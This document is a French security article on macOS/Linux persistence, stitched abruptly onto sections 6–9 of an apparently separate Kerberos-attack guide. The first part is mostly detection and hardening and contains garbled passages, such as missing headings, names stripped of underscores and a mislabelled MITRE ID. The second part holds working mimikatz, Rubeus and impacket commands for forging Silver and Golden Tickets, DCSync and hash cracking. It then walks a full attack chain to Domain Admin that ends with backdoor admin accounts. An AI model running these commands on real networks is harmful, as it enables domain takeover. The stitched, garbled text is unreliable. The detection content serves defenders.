Persistence sur macOS & Linux (LaunchAgents, systemd, LD_PRELOAD)

Résumé exécutif

Les menaces persistantes ciblant macOS et Linux s'appuient sur des mécanismes natifs d'initialisation et de chargement dynamique : LaunchAgents/LaunchDaemons, systemd, services init, hooks LDPRELOAD. Les attaquants exploitent ces fonctionnalités pour survivre aux redémarrages, escalader leurs privilèges ou maintenir un accès discret. Cet article explore les principales techniques de persistance sur macOS et Linux, les méthodes de détection, les stratégies de durcissement et les playbooks de réponse. Il s'adresse aux équipes SecOps, SOC, et administrateurs souhaitant renforcer la résilience de leurs environnements Unix-like.

• macOS LaunchAgents/LaunchDaemons : fichiers .plist dans /Library/LaunchAgents, /Library/LaunchDaemons, ~/Library/LaunchAgents.
• systemd (Linux) : unit files (.service, .timer) dans /etc/systemd/system, ~/.config/systemd/user.
• init scripts (SysV, rc.local) : double support dans environnements legacy.
• cron et at : tâches planifiées.
• LDPRELOAD / DYLDINSERTLIBRARIES : injection de librairies partagées côté utilisateur ou système.
• Bash profile & shell init : .bashrc, .profile, .zshrc.
• LaunchServices, login items (macOS).
• Kernel extensions, Launchd sockets.

LaunchAgents & LaunchDaemons (macOS)

Fonctionnement

Launchd orchestre les services. Les LaunchAgents s'exécutent dans le contexte utilisateur, les LaunchDaemons au niveau système (root). Les fichiers .plist contiennent ProgramArguments, RunAtLoad, KeepAlive. Les attaquants créent des .plist pointant vers des scripts malveillants, avec KeepAlive pour redémarrer automatiquement.

Techniques d'abus

• Placer un .plist dans ~/Library/LaunchAgents pour persistance utilisateur.
• Utiliser Label légitime (ex : com.apple.updates).
• WatchPath pour déclencher script sur modification.
• ProgramArguments exécutant osascript ou curl.

Détection

• Surveiller création/modification .plist (FSEvents, Endpoint Security).
• Collecter via EDR (File create) et Sysmon for macOS.
• Scripts launchctl list pour lister processus.
• Hash/whitelist des .plist attendus.

Durcissement

• Restreindre écriture sur /Library/LaunchAgents aux admins.
• Monitor via osquery (launchd table).
• Utiliser PPPC (Privacy Preferences Policy Control) pour limiter les exécutables.
• Endpoint Security Framework (ESF) pour intercept AUTHEXEC.

• systemctl enable un script malveillant.
• systemd timers pour exécutions périodiques.
• EnvironmentFile pour injection (LDPRELOAD).
• User service (systemctl --user) persistant.

Détection

• Monitor journalctl -u pour services suspects.
• systemctl list-unit-files comparé à baseline.
• Inotify/auditd sur /etc/systemd/system (syscall open, write).
• Falco/eBPF pour alert sur systemctl enable.

Durcissement

• Utiliser Systemd drop-in pour restreindre, ProtectSystem=full, NoNewPrivileges=yes.
• Restreindre qui peut systemctl enable (sudoers).
• Interdire systemd --user pour comptes non administratifs.

LDPRELOAD / DYLDINSERTLIBRARIES

• export LDPRELOAD=/tmp/libmalicious.so via .bashrc.
• setenv DYLDINSERTLIBRARIES dans LaunchAgents.
• systemd Environment=LDPRELOAD=....

• Surveiller les variables d’environnement (auditd, osquery processenvs).
• Inspecter les librairies chargées (LDDEBUG, lsof -p).
• Sysmon for Linux EventID 7 (image loaded) ou auditd execve pour environnements.

-w /etc/systemd/system -p wa -k systemd-change
-w /etc/ld.so.preload -p wa -k ldpreload
-w /etc/cron.d -p wa -k cron

DeviceProcessEvents
| where OSPlatform == "macOS" and InitiatingProcessFileName == "launchctl" and ProcessCommandLine contains "load"

process where process.envvars contains "LDPRELOAD" and not process.name in (allowed)

SELECT  FROM launchd WHERE programarguments LIKE '%curl%';
SELECT  FROM systemdunits WHERE path LIKE '%/tmp%';
SELECT  FROM processenvs WHERE key='LDPRELOAD';

Ces queries programmées (schedule) avec alerting si row > 0.

Security baselines par rôle

• Mac développeur vs Mac finance -> policies distinctes.
• Serveur web vs server DB.

Les exceptions spécifiques documentées.

Collaboration avec Apple et Linux vendors

Participer aux programmes Apple Security, Linux distros (Red Hat). Rapporter anomalies. Mise à jour sur patchs.

MITRE D3FEND

• D3-EP0005 Execution Prevention: AppLocker/solutions Mac.
• D3-UE0001 User Env Monitoring: observe LDPRELOAD.

Case Study : LDPRELOAD trojan sur serveur HPC

Un cluster HPC a subi injection LDPRELOAD pour exfiltration jobs. Détection via logs slurm. Remédiation : disable user-run LDPRELOAD, monitoring, reimage.

Outils open source complémentaires

• KnockKnock (macOS) pour inspecter persistance.
• BlockBlock (macOS) -> alert on persistence install.
• Autoruns for Linux (Sysinternals).

These tools complement SIEM.

Conclusion étendue

La persistance sur macOS et Linux exploite des fonctionnalités légitimes. Une approche multi-couches (durcissement, monitoring comportemental, baselines, SOAR, hunting) permet de réduire le dwell time adversaire. Les équipes doivent continuellement adapter leurs contrôles aux évolutions des TTP et partager les insights avec la communauté sécurité.

Perspectives historiques et évolution des TTP

Les techniques de persistance évoluent avec les protections :

• Années 2000 : scripts init (/etc/rc.d), cron. Peu de protections.
• Années 2010 : adoption LaunchAgents, systemd ; introduction Gatekeeper, SIP.
• Années 2020 : atténuation avec MDM, EndpointSecurity, eBPF ; TTP se déplacent vers User LaunchAgents, systemd timers, LDPRELOAD.

• T1543.003 : Unix Shell Configuration Modification.
• T1543.002 : Systemd Service.
• T1547.011 : Launch Agent.
• T1574.006 : LDPRELOAD.
• T1053.003 : Cron.
• T1037.004 : RC Scripts.

Mapping coverage -> detection status (Prevent/Detect/Monitor). Les Playbooks alignés.

Automatisation de l'inventaire via Ansible

Playbook Ansible :

- hosts: macs
  tasks:
    - name: Gather LaunchAgents
      find:
        paths:
          - /Library/LaunchAgents
          - /Library/LaunchDaemons
          - /Users//Library/LaunchAgents
        patterns: ".plist"
      register: launchagents
    - debug: var=launchagents.files

Résultats envoyés à Elastic (Filebeat). Sur Linux :

- name: Gather systemd services
  command: systemctl list-unit-files --type=service --no-pager

Les jobs orchestrés (Tower/AWX).

Endpoint Security Framework (macOS) déploiement

• Agents tiers (CrowdStrike) s'appuient sur ESF.
• Développer un agent custom (ESF) pour log eseventtypenotifyexec, eseventtypenotifyauthsetuid.
• Hook sur eseventtypenotifycreate pour .plist.

log show --predicate 'eventMessage CONTAINS "launchd" AND subsystem == "com.apple.launchd"' --last 1d
log show --predicate 'eventMessage CONTAINS "LDPRELOAD"' --last 7d

Les résultats analysés via scripts (Python). On intègre à SIEM via log stream --style syslog.

Contrôles physiques et biométriques

• Mac : TouchID, Secure Enclave, FileVault 2 -> protège contre accès offline.
• Linux : LUKS, TPM.

La persistance doit survivre à redémarrage ; le chiffrement protège si machine off.

Hardening Boot et firmware

• Secure Boot (macOS : Boot ROM).
• UEFI Secure Boot (Linux).

Les malwares firmware -> plus rare, mais surveillances (Chipsec).

Réponse rapide : suppression orchestrée

Script Bash pour supprimer user LaunchAgents :

#!/bin/bash
USERHOME=$1
for plist in $USERHOME/Library/LaunchAgents/.plist; do
  launchctl bootout gui/$(id -u $(basename $USERHOME)) "$plist"
  rm "$plist"
  echo "Removed $plist"
done

Les policies interdisent VMs non approuvées. Les monitoring (osquery) list virtualmachines.

Sécurité sur architectures ARM (Apple Silicon, ARM Linux)

• macOS ARM (M1/M2) : Kernel extension remplacé par System Extensions. Les attaquants explorent User Approved Kernel Extensions (UAKEL).
• Linux ARM : even systemd, same.

Les contrôles adaptent : systemextensions allowlist, Rosetta restrictions.

Les LDPRELOAD var peuvent être obfusqués ($\x2f...). Les détections incluent normalisation.

Response cross-team war-room

En incident majeur : War-room (SecOps, IT, Dev). Usage d'outils collab (Miro). Document progression.

Mise en œuvre de FDE (Full Disk Encryption)

FileVault, LUKS : empêche offline tamper installation persistance. Combiner orientation (reboot -> require login).

Journaux de TCC (macOS)

TCC (Transparency, Consent, Control) logs : sqlite3 /Library/Application Support/com.apple.TCC/TCC.db. Permettent de détecter autorisations suspectes (Full Disk Access). Les implants persistent via privilèges TCC. Monitor via tccutil.

Linux security frameworks (Auditbeat)

Elastic Auditbeat collect fileintegrity events. Config :

fileintegrity:
  paths:
    - /etc/systemd/system
    - /usr/lib/systemd/system
    - /etc/cron.d

Indices auditbeat-*.

Base d’apprentissage incidents

Créer base knowledge :

• Description TTP.
• Indicateurs.
• Playbook.

Accessible via wiki.

Collaboration avec fournisseurs EDR

• Feedback sur détections (tuning).
• Participation aux programmes Beta (macOS).

EDR updates intègrent custom detections.

Contre-mesures LDPRELOAD avancées

• pamenv conf pour ignorer LDPRELOAD.
• ld.so compile option --disable-audit.

Les SRE doivent adapter monitoring (systemd). Observabilité (Prometheus) -> metrics systemdunit_state.

Approches Zero Touch provisioning

ZTP (macOS ADE, Linux auto install) ensures baseline. Toute machine rejointe -> policies, scanning.

Conclusion additionnelle

En orchestrant ces contrôles, l’organisation construit un modèle de défense robuste, capable de détecter rapidement les tentatives de persistance sur macOS et Linux, d’isoler les machines compromises et de restaurer un état sain sans perturber la productivité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled